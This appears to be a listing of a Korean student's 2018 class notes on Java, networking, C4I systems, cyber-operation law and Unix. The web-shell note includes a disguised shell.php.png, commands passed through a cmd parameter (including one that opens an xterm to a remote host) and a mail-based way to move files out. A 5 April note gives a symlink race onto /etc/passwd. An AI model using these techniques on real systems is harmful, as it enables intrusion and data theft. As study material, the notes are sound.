본문 바로가기

COMPUTER435

4/9 class public class 차이점: javac는 public class와 파일명이 같은지 본다! private -> should be used inside the class 에러가 나지 않는다!class Sample{private int data_field;void foo() {data_field=1;}public int data_field() {return data_field;//private int data_field를 가리킨다}}다른 클래스에서 Sample x = new Sample();System.out.println(x.data_field()); getter와 setter class Sample{private int data_field;void foo() {data_field=1;} //.. 2018. 4. 9.
4/9 C4I 체계 C4I+SR+PGM 지휘 command통제 control통신 communication컴퓨터 computer 정보 Intelligence NCW네트워크 중심전Network Centric Warfare Sensor(grid) : 감각기관->정보획득!Information(grid) : 획득한 정보를 서로 공유하도록 하는 시스템Engagement(grid) : 교전->실제 전쟁을 하는 것! COP공통 작전 상황도Common Operation Picture NCE네트워크 중심 환경Network Centric Environment SR: surveillance 감시reconnaissance 정찰 C4I->InformationSR->Sensor PGM(정밀유도무기)->Engagement ASAP(as s.. 2018. 4. 9.
4/6 해야될 것을 안하면 omission General Yamashita Standard->Yamashita 유죄 ->Command Responsibility with distinction애틀란타 서버 마비시킬때도 911서비스를 마비시키는 않았다! 민간인이 관련되었다고 무조건 공격을 안하는게 아니라 51:49 51이 중요하다! 프랑스: 드골대통령, 레지스탕스 임박했을떄는 선제적 공격가능 규모, 인과관계가 필요하다! 정수장을 공격 하지만 이렇게 하면 부대도 공격이 가능하지만, 민간인도 물을 마시지 못한다!사람이 죽거나 하지는 않았다! 이런 경우는 데미지가 있지만 봐준다!하지만 민간인 피해가 너무 크면 안된다 사이버 작전->예상되는 데미지가 어느 정도인지 판단->지휘관에게 사이버옵션은 뭐뭐가 있고 군사적이익은 뭐.. 2018. 4. 6.
4/5 /usr/bin : 일반 명령/sbin : 시스템 관련 명령/etc : 설정파일 /lib: ~.so include x11 : gui와 관련해서 c로 시작하는 것(character device 한글자로 입력받는것. 키보드처럼)과 b로 시작하는 것(block단위로 입력받는것)-> file d로 시작하면 디렉토리l : 링크 걸려 있는것 varlog /usr/lib/var/private/var race condition! 메일 큐 \메일 큐에 담길 이름 예측해서 ln-s /var/spool/mail~ /etc/passwd메일로 /etc/passwd 넘어간다! 해결방법으로 tmpnam이라는 함수 사용했지만 랜덤하지 않다는 점에서 문제 drwxrwxrwtt는 스티키 비트 swap space not enough sp.. 2018. 4. 5.
4/4 루트 서버 web cache-> propagation delay를 줄인다! DNS는 centralized가 되어 있지 않다! TLD resolution: 이름을 찾는 것 root까지 가면은 무조건 찾지만 timeout 때문에 못찾는다! routing에서 그냥 보내는 기본적인 방법: forwarding flooding: 아무 생각 없이 뿌리는 것 무선쪽에서는 broadcasting broadcasting 다 보내는것 쫙 보내는 것 특정인에게 보내면 unicasting multicasting 원하는 사람들에게만 보내는 것 ->+멤버 관리! 멤버관리 복잡하니까 unicasting을 n번 하는 사태가 발생하고 있다!하지만, multicasting과 unicasting을 여러번하는 것은 다르다! P2P서버 입장에.. 2018. 4. 4.
4/4 Overlapping segments boolean isHit(Rectangle r){return isOverlapping(x, x+w, r.x, r.x+r.w)&&isOverlapping(y, y+h, r.y, r.y+r.j) } java knows the type of variable parameter는 다르게 같은 이름으로 method를 만들 수 있따! public static void test(Rectangle r) {System.out.println("Rectangle");}public static void test(Rectangle c) {System.out.println("Circle");} parameter의 type이 같은 같은 이름의 method -> 에러 parameter갯수 달라도 .. 2018. 4. 4.
4/3 큰 정수 a,b 더하기c=a+b(c,a,b)a>b 로 구현!a-b: 부호가 없는 절댓값을 기본으로 구현|a|>=|b| carry a4 a3 a2 a1 a0+ b2 b1 b0---------------------c5 c4 c3 c2 c1 c0 c0=a0+b0carry=c0=2^32a1+b1>=2^32-1a1>=(2^32-1)-b1}if(carry)carry=a1>=(~b1);else carry=c1 add_new(c,a,b)+ - => sub_new(c,a,b)- + => sub_new(c,b,a)=>sub_new(c,a,b)*(-1)- - => add_new(c,a,b) * -1 a-b+ +=>sub_new(c,a,b)+ - =>add_new(c,a,b)- + =>add_new(c,a,b)*-1- - =.. 2018. 4. 3.
4/3 웺쉘! shell.php.png 사실 확장자가 의미가 있지 않아!확장자에 매칭이 되는 어플리케이션을 연결해주는 데에만 의의가 있다헤더가 중요한것! url?cmd=id url?cmd-xterm -display%20192.168.142.2:0 내 pc 가 xhost+일때만 위험 startx 나 xinit | |.startx .xinitrc 여기 파일에 xhost-를 넣어두면 안전! xterm 6000-6035번 포트를 사용하는데, 그래서 주로 방화벽으로 막아놓은다!, 퀴즈 원격 서버에 있는 파일을 내쪽으로 전송해 오는 방법-scp,sftp,ftp-email mail sonysame@naver.com encoded.txt uudecode ./encoded.txt(메일로 온것은 uudecode를 사용해서 디코딩.. 2018. 4. 3.
4/2 L5-L7: applicationsL4: TransportL3: IP TCP servicereliable transportflow controlcongestion controldoes not provide-timing, minimum throughput guarantee, securityconnection-oriented `elastic`: timing과 관련된 것이다! 시간에 탄력적이다! audio->inelastic data integrity->loss와 관련된 것timing-> delay와 관련된 것throughput-> 단위 unit당 보내는 비트 수 flow control은 receiver가 initiate!! 그래서 sender가 안 넘는것!congestion control: throttle .. 2018. 4. 2.